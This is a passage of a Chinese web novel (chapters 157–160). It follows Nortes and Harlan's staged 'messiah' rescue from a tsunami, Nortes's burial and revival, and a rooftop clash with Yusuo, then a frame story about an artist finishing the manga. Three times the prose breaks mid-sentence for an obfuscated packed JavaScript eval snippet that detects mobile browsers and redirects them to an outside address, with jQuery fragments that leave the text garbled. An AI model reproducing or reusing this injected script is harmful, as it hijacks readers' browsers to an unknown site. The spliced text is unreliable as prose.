摆满了乳白色圣洁雕像的餐厅里,一个坐在主餐位上的人手拿刀叉,他面前是一只烤熟的鹅,一片肉刚被从上面切下来,无辜地挂在叉尖。 “你要我什么……?!”诺特斯饭都没来得及吃,就被哈兰带来的造神计划Ver32.0打了一个措手不及。 至于为什么是Ver32.0,是因为前面已经有三十一个方案被他否决了。 “挂在天上。”哈兰指着餐厅的天花板,“就像你给我讲的那个耶稣一样。” “认真点,我可是在牺牲宝贵的吃饭时间听你说话。” “我很认真。” “哈兰,你脑袋还清醒吗?” “比我活过的每一天都要清醒。” 诺特斯干脆鹅肉也不吃了,把叉子往盘子一丢,又将装着大鹅的餐盘挪去一旁,餐具之间发出叮叮当当的响声,似乎在代替他表达出愤怒。 “来,我帮你捋捋我们这些天都干了些什么荒唐事。” 157. 一物降一物 诺特斯伸出一只手,一根一根朝下掰,“你说要有救世主,好,我们就寻找一场灾难。 “你要一场刚好发生在寓言中的世界末日的灾难,行,我们把米歇尔请出来,让她预测世界各地具体哪个位置会发生大型的自然灾害。 “现在自然灾害有了,她说十天之后在瓦尔国的西海岸会有一场海啸,你又要求这场灾害必须得被全球的人看到,成,我们把联合王国的战事专用无线电抢过来了,只要是能接收无线电信号的家庭都能实时观测到这场灾难。 “转播问题解决了,你说救世主的诞生必须要有一个让人印象深刻的画面,那就是他解救众生的时刻。那好,我说到时候我去救人,自己马上要淹死了还不忘把某个婴儿递上避难的屋顶,这画面绝对令人印象深刻。 “但你说还不够,说什么牺牲自己拯救一小部分人的是英雄,能够拯救绝大部分人的才是救世主。你要我去阻止那场海啸! “我说我做不到,你说你会想办法。而这就是你今天带来的办法,让我挂在天上。 “说实话,哈兰,我根本没理解什么叫挂在天上,我只知道这绝对是个不可理喻的点子,跟你之前带来的三十一个办法一样。所以我刻意表现得很惊讶,你懂吗,我故意的,因为我快对你失去信心了。” 一番指控之后,诺特斯的气息都有些不平稳。 然而他斜对面的哈兰却微笑得云淡风轻,平眉几乎没有一点角度,那让他总是看起来古井无波。 “既然你没理解‘挂在天上’是什么意思,就不要那么快否定我吗,诺特斯。” 眼见对方要开口进行冗长的解释,诺特斯连忙打断,“你能让我先吃口烧鹅吗,我怕听完你的话之后就被气饱了。” “你的能力可以让你在隐身状态下凌驾于物理规则之上,“哈兰完全无视了他,“飘在空中也是信手拈来的吧?” 似乎是知道反对已经没有意义了,诺特斯无声地叹息,把装着烤鹅的盘子又挪了回来,用叉子干巴巴地戳着它,“……是能做到,所以呢。” “隐形也只是你的选择,想让别人看到你浮于半空也是完全可以的。” “对。”他心不在焉地应答。 “这样就成功三分之一了,剩下你只需要做两件事,第一件就是阻止海啸。” “这件事你已经说了不下百遍了,然而无法实现的事情就是无法实现,你说再多次它也不会成真的。” “不能用你的能力做点什么吗?” 诺特斯终于放弃了摧残盘里无辜的鹅肉,插起来一块放进嘴里咀嚼,“做什么?” “你能携带一部分物质一起进入隐身状态,对吧?就好比你身上穿的服饰,还有胸前挂着的那颗石剑醇。” “然后呢?”他随意地附和着,仿佛没有在认真听。 “你能不能连同瓦尔国西海岸的海水一起隐形?” 听到这句话,诺特斯咀嚼的频率变慢了,他拿来一旁的手帕擦擦嘴,平静地站起来,转身就走,“我吃饱了。” 然而没走几步,突然却停下了脚步,僵硬地转了个圈,又坐回了座位上。 诺特斯脸上是笑着的,然而紧闭的眼中却蕴含着无尽的怒意,颤抖的身体仿佛在对抗着什么。 “哈兰,你有点过分了。” 长发男人的面容是人畜无害的,“听我把话说完,然后我就把身体的自主权还给你。” “现在就解开。” 哈兰再次无视了诺特斯的话,聊回他们之前的话题,“做得到吗,让海水凭空消失,这样灾难中的人们看到的景象就是你截断了这场惨绝人寰的海啸。” “你解开我大脑上的控制,我就告诉你。”诺特斯开始讨价还价。 “……好吧。”哈兰退让一步。 不到一瞬之后,诺特斯的身体仿佛一下就柔软了下来,不再像一个铁板一样紧绷着,他动了动手臂,又深深地叹息一声,这些天他好像叹气就没怎么停下来过。 “你要说一瓢水、一桶水还有可能,瓦尔国西海岸有多少海水,你要了我的命吗。” “听你的意思,也不是绝无可能?” 诺特斯拿叉尖点着餐盘,一时不知是无语还是怎样,保持着沉默。 “诺特斯,帮帮忙。”哈兰两只手放在餐桌上,一副诚恳的模样。 黑发的男人扫了他一眼,“……能做到,但是有条件。” 哈兰的眼睛亮了起来,“你说。” 诺特斯用一根手指勾住脖子上的黑线,轻轻一挑,那块绿色的晶体就被指尖勾了出来,“我需要很多很多的这玩意。” “你需要多少?” “三家工厂百年的生产量吧。” “这么多吗。”哈兰露出震惊的神色。 “心疼了?心疼那就放弃这项计划——” “我会让白鹰红隼那兄弟俩带人提前把石剑醇运到海啸地点。” “……”诺特斯被对方的话噎了一下,转手给自己倒了杯白葡萄酒,猛灌了一口才捋顺,“……最后一步是什么,说出来让我开开眼界吧。” “最后一步,你需要扮演一个受难者的身份,在阻止了这场劫难之后,从天空中坠落而亡。” 他听完,抹了一把自己的脸,声音闷闷地响起来,“比童话故事还荒诞不经……” “诺特斯,你要尽可能表现出痛苦的模样,就仿佛阻挡这场海啸让你精疲力竭,耗尽了所有的力量。” “然后呢,被当地人捡到,给我安排一个隆重的葬礼吗。” “是的。” 他扬了扬眉,目光飘向房梁,迷茫的神色仿佛喘不上气来,瘫在座椅上像一滩生无可恋的烂泥。紧接着,胸腔开始颤动,他露出一副带着死感的笑容,“这就是你费时一天想出的精妙绝伦的计划。” “是的。”哈兰再度肯定,坚信不疑。 “……你猜怎么着,我现在开始觉得,那些传说里经典画面的背后,发生的说不定都是像这样让人笑掉大牙的事。” “谁说不是呢。”哈兰用拄着自己的下巴,笑眯眯地说,“这世界上本就没多少奇迹,全靠人们的想象力支撑。” “哈兰,我再不死心地最后确认一遍,真的要这么做吗。” “千真万确。”他说。 然后,就是现在了。 两个人影立在平静的海边,看向天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859649|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际线的方向,望眼欲穿。 米歇尔预言的一个小时将近,海平面终于出现了一些迹象。 临近岸边的浅海区开始泛白,一种可怖的、仿佛源自于大地的震鸣传入耳中。 沿海地区的人们注意到了这风暴将起的迹象,恐惧顿时在这海边的城市无止境地蔓延。 原本就混乱无序的城市变得更加拥挤,人们乘坐私家车辆往远离大海的方向逃离。 然而如何快马加鞭,都赶不上天色暗下来的速度,更赶不上海水追上他们的极速。 袭来的水墙犹如山高,像一排无情的海之巨人,践踏着它所临至的每一片大地。 椰子树被折断了,海边的渡轮被掀飞到空中,街边的摄像头捕捉到了灾难降临前的一幕,而后画面骤然熄灭,一片死寂般的宁静在电路中传播。 毁灭只在顷刻之间。 有人高声呼喊着,世界末日要到了。 预言的一日终于降临。 莱王星即将灰飞烟灭。 心有牵挂的人为此而恐惧着,一无所有的人则欢雀不已。 巨兽吞噬着海边的一切,想要把一切文明都吸入海底的无光深渊。 而就在这海啸肆虐之际,各地围坐在电台前的人们看到了这样的一幕。 画面上出现了一个透明的圆形拱门,天空似乎打开了一道裂隙。 多年不见的彩虹重新出现在这片大地,土地在生机勃勃地泛出莹莹绿光。 而那进犯他们赖以生存的城市的海之巨人停步顿足,暴行被一缕从天空坠落而下的神光所遏止。 画面是模糊的,人们尽力地辨析着。 灾难现场的导播员声色激动,他高喊着—— “神没有弃我们而去。” ## 诺特斯是在一个棺材里醒来的,至于他为什么知道这是一口棺材,因为它很暗,从内部摸起来是长条形的,四周飘散着一股令人不安的腐烂气息。 他敲了敲面前的木板,没得到任何的回应。 “……我一定是在做梦。” 于是他又闭上眼睛,进入下一轮深眠。 再次醒来,眼前还是黑黢黢的,身体的活动空间十分有限,局促不已。 “真的假的……”他嘀咕着。 摸了摸自己的胸口,细长的挂坠底部空无一物,所有的石剑醇都在那场表演秀当中消耗殆尽,连一点碎屑都没有留下。 也就是说,他现在发挥不出能力来,就和普通人没两样。 更是代表,他快要被闷死了。 “好吧,起码比烧死要轻松一点。”他十分乐观地说,闭上眼睛,仿佛当真就这么放弃挣扎了。 然而,脑海里某个身影一晃而过,紧接着,他猛然睁眼,突然爆发了。 “哈兰·戈斯!”愤怒声响回荡在密闭的空间,带着种要把对方千刀万剐的气势,他烦躁地敲着木棺的顶盖,“你最好现在就给我出现,这馊主意是你想的,给我回来把善后工作做好!” 话音落下之后,沙沙的声音从上方传来,似乎有人在用铁锹刨土。 他还真被埋起来了。 这也太惹人发笑。 158. 自缚 一铲接一铲,声音越来越近了。 地面上的交流也愈发清晰可见。 “辛格大人真的还活着吗?” “戈斯大人是这么说的……” “可是我们都亲眼看见他死了,世界各地还在举办他的悼念会呢。” “大红,你说我们继续挖下去,会不会闹鬼啊。” “我也觉得,大白,要不撤退吧……惊动辛格大人的灵魂什么的,我怕他会把我拖进地狱。” 听声音应该是白鹰和红隼兄弟俩,诺特斯听闻他们的话,无奈又恼怒地说道:“我都是拯救世界的大善人了,为什么还不能上天堂啊。” 地面上的两人安静了片刻。 白鹰压低了声音,问他旁边的人,“你有没有听见什么声音……” “有,好像是辛格大人的……” “……” “……” “鬼啊!” “跑!!” 上方传来了铁锹撞击地面的叮当声,以及撒腿跑路的声音。 诺特斯在棺材里叹息。 “一个两个打架那么厉害,怎么还会怕这种东西……” 他埋怨了一句,而后伸手又尝试推棺材板,现在似乎能推动了,于是加了些力气。 木板缓缓敞开,沙土沿着缝隙留了下来,扑了满身,诺特斯没管,铆足了劲将盖子一掀而开。 首先映入眼帘的是一片密林,他坐起来,发现自己位处密林中央的一片空地,巨大墓碑的阴影笼罩下来,碑前摆放着各式各样的鲜花,有些看起来才摘没多久。 看着这些,他惯性地勾起嘴角,眼神却是没精打采的,“搞得还挺隆重……” 这时候,密林间传来窸窣的响声,他转过头去,发现一红一白两只鸟躲在一棵树后盯着他。 “不得了,诈尸了……” “会不会是我们吵醒了他啊。” “他是不是在看这边?” “你说我们还能活过今晚吗。” 诺特斯从棺材里站了起来,躲在林间的两个人又往树后缩了缩。 “我觉得悬,大白。” “大红,等一下辛格大人追上来,你可不准比我跑得快啊。” “凭什么,总嚷嚷着‘我对辛格大人忠心耿耿’的人是你又不是我。”红隼表达不满。 “你忘了那句‘我要与大人同生共死’是谁说的?”白鹰提醒他。 “行了,我都听见你们的声音了。”诺特斯出声打断了这两人的拌嘴。 “辛格大人!”红隼从树后窜了出来,笔直地站着,视死如归一般说,“哪怕到地狱的尽头我都是您忠实的部下!” 白鹰紧接着也跟了出来,“大人,无论你有什么吩咐我们都义不容辞!” 诺特斯朝两人的方向走,有些好笑地发现他们的膝盖似乎在颤抖。 就这么害怕? 他低头看了看自己的穿着,一身明显不适合他的灰色长袍笼罩住了身体,象征着神圣的披肩满是灰尘,一朵永生花别在胸口,未显一丝凋零的迹象。 “石剑醇有吗?”他朝那两人索要。 “有。”白鹰忙不迭从自己的口袋里翻找,捧出一块纯粹的绿色晶体,腿打着弯上前两步,恭敬地递给一身尘埃的诺特斯。 诺特斯接过来,它旋即就发出莹莹幽光,眨眼之间,那些凡尘的污浊便从身上离散,他又变得干净得体。 “哈兰呢?”他把这块石头收起来,朝兄弟俩问。 “戈斯大人在联合王国政治中心与各国首脑谈判条约。”白鹰回答他,“大人,在您那场……救世之后,这个世界的格局发生了天翻地覆的变化。” 听到这里,红隼凑上前来,似乎也没那么害怕了,“他们不再说我们是强盗、自私自利的小人,终于肯认清自身的现状,大人,这都需要归功于您,如果不是您拯救了愚昧无知的人们,这些人永远也不会醒来。” 听他说这些,诺特斯不禁有些恍惚。 居然还真叫哈兰成功了。 或许只有真正接近上帝的人才知道怎么玩这场救世主的游戏,反正他自己是一窍不通,只觉得荒谬。 与白鹰红隼两兄弟分别之后,诺特斯来到联合王国的政治中心。 路上,他看到自己的画像,但不是又被哪些民兵用作了靶子—— 而是立在道路旁,贴在游行的巴士之上,封存于每户人家的相框之中。 说实话,这感觉还挺奇怪的。 在一座拔地而起的圆顶建筑顶部,他迎风而坐,看向天际边的一朵棉花糖似的云彩。 它那么浓墨重彩,又白得不可思议,不像这世界会有的美好之物。 “你找我?” 哈兰的声音从后方传来,诺特斯回过头去,果然见到了熟悉的身影。 对方的脖颈和手腕都被金色的首饰所缠绕,颇有种神话故事里那些引领众生的王者才有的气场和形象。 显然,他在这世间的地位已然今非昔比了。 “我感到空气很宁静,哈兰。”诺特斯闭上眼睛,浅浅地吸了一口气。 “这是自然。”哈兰的服装看上去不便于弯腰,于是他只站在诺特斯的旁边,与友人遥望同一个方向,“这就是和平带来的景象。” “不,我觉得这更像是……”诺特斯在腹腔里翻找着话语,最终,他有点感慨地说,“一切都结束的感觉。” “结束?” “就是,大结局,你懂吧。”他用下巴点了点远方初升的一颗烈烈燃烧着的恒星,“阳光,清新的空气,不知从何而来的微风,一场巨大转变过后的细碎余波,还有一次总结性质的交谈。这就很符合一个圆满的大结局,故事到这里差不多就结束了。” 哈兰盯着诺特斯,半晌才开口说:“然后你就要走了?” “是啊。” “去哪里?” 他沉吟一声,“有人等我的地方。” “这样啊。”哈兰的情绪很稳定,就如同大地本身一样,“可惜,这个世界的人将再也听不到南风之歌了。” “得了吧,在这地方,几乎没人有耐心听我唱完一整首。” 哈兰摇摇头,不置可否,挑起了别的话题,“说起来,我听说红隼抓到了尤梭,你跟这个人好像还有些恩怨吧,要去见他吗?” “不了。”诺特斯扶着一旁突出的窗口,用指尖在玻璃上轻轻地点着节拍,“现在心情还不错,不想见到讨厌的人,你帮我让他吃点苦头就好了。” “他对我的精神控制好像有免疫力,除此以外的折磨我就不是那么擅长了,可能会让他一命呜呼。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859650|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那也行。”诺特斯不怎么在意地说。 两人之间静默了半晌,思绪在脑海中发酵着。 一阵劲道的风吹动发帘和衣摆,它稳定下去之后,诺特斯开口了,“哈兰,对我施加一道咒语吧。” “我以为你讨厌我对你这么做。” “确实不太喜欢。”诺特斯说,凝思的目光投掷在地面,联合王国政治中心的政议厅外有许多卫兵在把守,他看着那些似乎永远也不会质疑自己职责的士兵,开口道,“但我更讨厌善变的人心,从这个角度上来说,我没那么想做人。” “所以,要我怎么做?” 他张张嘴,又泄气。 张口再次想说什么,还是未能言。 就这么翻来覆去几次之后,他终于还是装一副不经意的样子说:“你能不能让我永远爱一个人?” 哈兰看起来并不意外。 尽管衣装华贵,他在这一刻还是选择在友人的身边坐了下来,不在乎屋顶的尘沙会否弄脏自己的服饰,“是告诉你我还活着的那个小姑娘,还是那块会打人的欧泊?” “都是。” 哈兰若有所指地盯着他,“真少见啊,这样的你。” “你就告诉我能不能。”诺特斯有些局促起来,又问了一遍。 “可以。”哈兰回答他,“只不过,施加咒语的人是我,解开咒语这件事也只有我能做到。但你又说你不会再回来,诺特斯,这意味着它永远不会被解开。” “可以吧。” “它将伴随你一生,而你的生命——”他上下打量了他一番,“或许会很漫长。” “没关系。”诺特斯顿了顿,又说,“……大概。” “你听起来不太确定。” “毕竟没人想当一辈子舔狗。” “舔狗是什么?” “就是我免费给你打工,照顾你起居,把自己的一切都给你,但还要眼睁睁看着你跟别人好,甚至要当你的情感顾问。” “噢——”哈兰的眉毛扬起来,像是恍然大悟,“那不是傻瓜吗?” “是啊,就是傻瓜。”诺特斯强烈表示赞成,但紧接着,他声音弱了下去,“可就算当傻瓜我也不想先变心,你懂吗,尤其是在目睹了莱王星上这些闹剧之后,我不理解那些人的想法怎么会一天一个样。” “可你跟他们不一样,诺特斯。” “这我可不敢保证。”他深吸了一口气,闭上眼睛,像是做好了什么准备,“来吧。” “……好吧,既然你这么希望的话。”哈兰的话语声渐渐趋于微弱。 灰色的鸽子在房檐上停歇,咕咕地叫着,用一侧的圆眼睛盯着房顶上不知道在做什么的两个人。 不到半分钟后。 “好了。” 诺特斯听到对方的声音,睁开眼睛,“……” “感觉怎么样?” 他盯着哈兰,眼神有点迟疑,“呃,如果我说什么感觉都没有,这是正常的吗?” 哈兰站了起来,慢悠悠拍打着自己的衣摆,“正常,因为我什么都没做。” “哈兰?”诺特斯发出质疑的声音。 长发男人边往来时的路走,边回答他,“你不需要那种东西,诺特斯,你没发现自己和曾经相比变化很大吗,现在的你不会再像风一样善变无情的。” 159. 意外 眼见这个男人就这么要离开,诺特斯赶忙起身追了上去,瓦片的声音在脚下咯咯作响,“我不懂你在说什么,你不对我施加咒语,那你答应我干嘛?” 对方头也不回。 “等等,哈兰,你——就打算这么回去?你就打算这么走了?这可能是我们最后一面——” 哈兰来到了房檐边上,岌岌可危地站在那里,他转过身来,冲自己的老朋友露出慷慨的笑容,而后咻一下消失了。 这并非是因为他会变什么魔术,而是因为他根本就没在那里。 “嘿,又是这该死的障眼法。”诺特斯夸张地举高双手,举手投足都彰显出他的无奈。 现在房顶上只剩一个人了,他回到那个凸出的窗户旁边,又在那里坐了下去。 天亮了有一阵了,万物都在有序地进衍。 故事的结局已然宣告,现在需要做的只有等待。 在即将到来的某个瞬间,一次不可违抗的召唤将把他带去异土。 这是最后一次看这片天空,他在这片天空下认识很多人,很多人会因为他的离去而心生怀念,但好像也没有几个需要特地去道别。 对他来说,告别向来就不是要刻意去做的事,它与生老病死一样,自然而然就发生了。 诺特斯仰躺下来,盯着遥远的天边。 “……说我变了,我哪里变了?”他开始自言自语,低头打量了一下自己,又摸摸看不见的脸,“我不一直都是这样……” “变得优柔寡断了吧。” 突然间,一个男人的声音回应他。 但这不是哈兰的声音。 诺特斯一惊,从地面坐起,往音源的方向看去。 一个意料之外的人出现在了屋顶。 这人浑身是血,手上还缠绕着断裂的枷锁,衣服碎成了片,看起来像是哪来的乞丐,原本一张秀气的脸藏在血污之下,完全看不出曾经的意气风发。 他边渗人地笑着,边接近房顶的另一个人,几乎可以说得上是步履蹒跚,“你不来杀我就是你最大的失误,诺特斯。” “……都已经到最后这个阶段了,就非得让我见到一些惹人厌的家伙吗。”一开始的震惊已然消失,诺特斯嘀咕着,从房顶上不情愿地爬了起来。 风向突然变了,将披肩和衣料吹得猎猎作响。 他往那里歪斜地一站,颇不以为意地朝那狼狈的人说:“行啊,想死我成全你,尤梭。” “呵呵……”满身是血的人阴森地笑起来,艰难地往前移动着,他可能有一条腿瘸了,走路的时候身子总往一边歪斜。 “不过你能先告诉我你是怎么逃出来的吗?”诺特斯随意地问着,转瞬又改变了主意,“不,算了,别告诉我,我没兴趣。” “这个你会感兴趣的。”尤梭立定在了诺特斯不远处,从背后掏出了一把餐刀。 刀尖捏在两指之间,他像投掷飞镖一样,反手将那银刃甩了出去。刀刃刺破空气,如一道闪电朝诺特斯劈去。 然而后者甚至连躲都没躲,餐刀穿透了他的身体,画了个抛物线,掉在了政议厅三层的窗台上。 诺特斯回头看了眼,神色是淡然的不屑,复又转过头来,无聊地挠了挠自己侧颈,“你要是没活儿,大可不必出来献丑。” 尤梭冷笑一声,上前两步,拉近了一些距离,又从身后掏出一把银制刀具。 还是同样的姿势,反手,勾指,蓄势待发。 诺特斯:“所以你做这些有什么意义,只是在这里泄愤吗?” 话音刚落,刀尖飞了出来。 金色的眼睛捕获了它,就仿佛能看清它飞行的轨迹。 他依旧没躲,因为没有必—— “呃!” 一声闷响,刀尖刺破了皮肤。 尤梭还维持着扔出飞镖的姿势,露出一个阴险的笑容,这笑容沾上血,更显得诡谲。 诺特斯低下头去,看到腹部插着一把明晃晃的刀具,它没那么深,但发生的事实足以让人震惊。 “这倒是有些让人意想不到。”他握住了嵌进自己身体的刀柄,面容遍布阴霾,盯着对面笑得癫狂的尤梭,“哈兰的能力对你不生效,我没想到作用于我自己身上的能力也会失效。” 他似乎感觉不到痛,至少表面上什么表现也没有。 “所以,你觉得这就是你制胜的法宝?”诺特斯抽出了腹部的刀,丝丝鲜血沾在刀刃的表面,他捂着伤处,浸染的血沿着灰色衣袍的纹路扩散,“剥夺我的能力,就有办法和我势均力敌了。这种特异功能你怎么不早亮出来?早点使用,说不定就能赶在哈兰制裁你之前扳倒我,那么现在主宰这个世界的人可能就是你了。” 尤梭嘶嘶地笑了起来,像是毒舌在吐信,挂满了鲜血的躯体使他看起来宛如一个从地狱而来的厉鬼,“太早亮出底牌,只会引来过于强大的敌人,在无所作为的时候被逐出游戏。” “之前没看出来你还头脑挺精明的。” “你还能说风凉话到什么时候呢,诺特斯。”不同于凄惨的外表,尤梭似乎有种对自己偏执般的自信,“我施加的咒怨已然缠绕你身,你逃不掉了。” “谁说我要逃了。”诺特斯解开披肩的纽扣,罩住肩膀的厚重衣物应声而落,他活动着一只手腕,“早就看你这张脸不顺眼了,我不介意让它变得更鼻青脸肿一点。” “哈哈……”尤梭突然大声笑了起来,笑个不停,捂着自己的肚子,连连后退,像是听到了什么天底下最好笑的事情。 诺特斯像盯着神经病一样看着他,正在犹豫和这样一个疯子动手自己会不会也沾上点什么。 “你根本什么都不明白。”尤梭弯着腰,捂着脸,整个人还在抽搐,像打了什么狂笑剂,“看在当了这么多年劲敌的份上,我来给你介绍一下我的能力吧。” “不,你实在说不上是劲敌,最多只是有点过于惹人厌……” 尤梭完全无视了诺特斯的讽刺,解释说道:“我的能力名为‘原初化’,顾名思义,能将所有事物打回原始的状态。也就是说,诺特斯,你现在完完全全就是个普通人,不具备任何的特殊性。” 诺特斯的眼皮耷拉了下去,像是听到了什么无趣的话,“说点我不知道的。” “不懂吗?我剥夺了你的特殊性!”尤梭又强调了一遍,单手放在自己的胸前,就仿佛在表达这杰作是他做的一样,“你失去神格了啊,诺特斯。” 另一个人挑眉,匪夷所思,“我有那种东西?” “不然你以为这世间千千万万的人,为什么只有你能去往那个世界?” 听到这句话,诺特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859651|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯的脸一下子变得空白。 所有的轻松与不屑都在那上面消失了。 紧接着,一股阴沉的气息骤然在身边蒸腾,他声音压得很低,“……你说什么?” “现在你没法离开了。”尤梭仰起头来,眉毛耷拉下来,十分扭曲地笑着,像是因什么而窃喜,“没法离开了。” “……这还真是让人意外。”诺特斯宛若自言自语,依然阴狠地盯着他,目中满是精光。 疯癫的人从身后摸出了一把匕首,他藏了很久,直到这一刻才将货真价实的武器掏出来。 握紧刀柄,他按捺不住激动一般,略显激昂地说道:“现在,让我们在这里一决胜负吧,诺特斯。” ## 充满了冷光的房间里,庄森芽在座位上伸了个懒腰。 结束了。 历时两个白天加一个黑夜,她提前完成了任务。 终于可以在自己的漫画中标上‘全剧终’这样的字眼,这部饱经风霜的作品也终于迎来了自己的结局。 终场的画面就和很多作品一样,停在一个朝远处瞭望的视角,那里有一轮初生的烈阳。 她将画好的漫画全部备份,并且暂时不打算发表。 就像诺特斯之前说的,最终话发表的时机很重要,最好能和揭露裴正腾滨集团垄断的恶行集中在一起,制造舆论上的声势,让对方无暇旁顾。 她看了看四周,当下自己依然处于圆柱形的玻璃房间里,外围是空无一人的宽阔空间,由多个屏幕构成的操作台发散出冷硬的电子辉光。 还有一个小时。 她在心里默念着。 还有一个小时,他就能回来了。 想到这里,庄森芽按下了旁边的传呼铃,这是几个小时前纳迪娅放在这里的,她说她去休息一阵,告诉庄森芽说有什么事情就按下这个铃。 按完之后,她便坐在原地静静等待。 不敢乱动,因为脑袋上还戴着一个铁盔似的头罩,纳迪娅说要一直带着,这对诺特斯回来有很大的帮助。 大约五分钟之后,房间的气闸门开起了,身穿白大褂的高个子女人走了进来,她哈气连连,眼睛都有些睁不开,脚步在地面磨蹭着,看起来疲乏不已。 “画完了?”她问。 “嗯。”庄森芽回答对方,开口的时候才发现自己的声音有多沙哑,仿佛很久都没有说话了似的。 纳迪娅挠了挠自己棕色的脑袋,拖沓地进入中央的玻璃圆柱,来到插满了电线的座椅旁边,在一个由支架支出的屏幕上敲敲打打,“嗯,情况比较稳定,接下来只要等待就好了。” “那个……有多大的把握?” 她还没忘记,诺特斯说过,他能否回来并非一件有十足把握的事情,而是有概率的。 “放心吧。”纳迪娅短暂地从屏幕上抽身,递给庄森芽一个安心的眼神,“你已经一整晚没睡觉了吧,趁这个机会闭会儿眼睛,等你醒来的时候,他就回来了。” 庄森芽搓着自己的手尖,在长时间的握笔之后,那里已经变得又酸痛又麻木。 她又看了一眼手机时间,现在是下午六点整,再过一个小时之后就是七点。 “没关系,我就坐在这里等。” 纳迪娅又看了她一眼,轻声叹息,摇了摇头。 160. 那些深埋于过往的 大约半个小时过去之后,又一个身影从气闸门钻进了房间。 是那个四十多岁的黑发男人,就是他之前跟庄森芽讲了一堆‘为什么停笔不画反而会让诺特斯消失’的理论知识,庄森芽到现在还不知道这个人叫什么,只大概能猜出他和纳迪娅是父女之类的关系。 可纳迪娅看起来也三十多岁了,两人之间可能只有十岁左右的年龄差。 而且他们长得也完全不像,纳迪娅有着欧洲人的脸孔,而那个男人则是正统的亚洲人面孔。 或许是收养之类的关系。她发散地想着。 “已经画完了吗?”男人走上前问道。 庄森芽冲他点了点头。 坐在一旁翘个二郎腿玩手机的纳迪娅说:“嗯,大概还有半个小时会发生转移。” “我去监测数据。” “锚定点是NL-101,裂隙张开的时候可能会扰乱同频波段。” “单向通道加固了吗?”男人坐在了操作台前,如此问着。 “都设置好了。” “好。” 两人你一言我一语地交流着,庄森芽完全听不懂他们在说什么。 出于好奇,她张口,“我能问问,你们最初是怎么发现诺特斯的吗?” 这两个人对诺特斯的来龙去脉似乎比谁都更清楚,诺特斯也说最初是一个科学家找上了他,他才知道自己为何会来到这个世界上。 纳迪娅换了条腿翘着,上身往庄森芽的方向倾斜了一些,“那是一个晴空万里的早晨,突然,天空发出一声巨响,一道贯彻天地的雷鸣从天际劈落,打开了一道深不可见深渊之门——” “我们有专门监测这种情况的设备。”这时候,外场的男人冷不丁地开口。 纳迪娅被噎了一下,有些愤然地盯着男人的方向,“你都不知道配合一下的吗?” 庄森芽听闻这两人的回答,有些意外,“监测设备……这种情况不是第一次发生了?” “是第一次。”男人说。 那她就不懂了,既然从未遇到过这种情况,怎么会提前制造出专门的监测设备? 这就好像在说,一场考试上,考生连卷子都还没看到,就已经把正确答案交上去了。 这可能吗? 似乎是看出了庄森芽脸上的困惑,那个男人继续解释说:“我们预测到了可能有这种情况的发生,因为近些年亚世界波乱频发,双向传输都有,这次的事件也是早晚都会发生的。” 她又听不懂了。每次这个男人张口说话的时候,庄森芽都感觉他嘴里冒出来的是天书。 求助似的看向一旁的纳迪娅,后者十分贴心地将男人的话翻译成了人言,“就是你们常说的穿越,时间穿越空间穿越异界穿越,随便怎么叫。总之就是世界越来越不稳定了,次元的壁垒已经千疮百孔。” 这听起来……好像是很严重的事情啊?! “那会发生什么危险吗?” “危险?”纳迪娅重复了一遍,“危险你不都领悟过了,有些本不该存在于这个世界上的东西已然存在,就比如诺特斯带来的那些绿油油的晶体,这些东西会打破已有的平衡。也就幸亏诺特斯是个不错的家伙,愿意配合,也不打算搞事,换个人来早就乱成一团了。” 听完这些解释,庄森芽突然有些搞不清楚这两人的立场了。 “不过我主张顺势而为。”纳迪娅紧接着又说,“就算真的跑过来一个混世大魔王,只能祈祷我们的世界自求多福了。” ……原来是混乱乐子人,完全是一种不顾他人死活的疯癫美感。 之前居然完全没看出来。 “纳迪娅,少说这种会把你自己送进监狱的话。”外面操作台前的男人警告说。 “干嘛,这里又没有窃听,还是说你要举报我?” “……”男人叹息一声,揉了揉自己的眉心。 纳迪娅凑到庄森芽旁边,小声对她说:“他不敢举报我,因为我手里有他的把柄。世界现在之所以会变得这么乱糟糟的,都是因为这位先生在十六年前搞砸了一个项目——” “纳迪娅,我都听到了。”男人指了指自己头上戴的耳麦,示意他能监听到玻璃房间内的声音。 纳迪娅缩了缩脖子,露出一个尴尬的笑,不再说话了,佯装专心致志摆弄着一旁的仪表盘。 这个时候,男人从操作台前站了起来,又回到了玻璃墙的旁边。 他笔直地在那站着,肩膀有些微微下塌,眉目也是若有所思的,宛若站在神像前忏悔的什么罪人一样。 庄森芽疑惑又好奇地盯着他,不知为何,这个男人略给她一种非人感,又或者该形容为一种清冷之感,那双黑色的眼里没有欲望,又仿佛被什么东西困住了,挣扎也挣扎不出来。 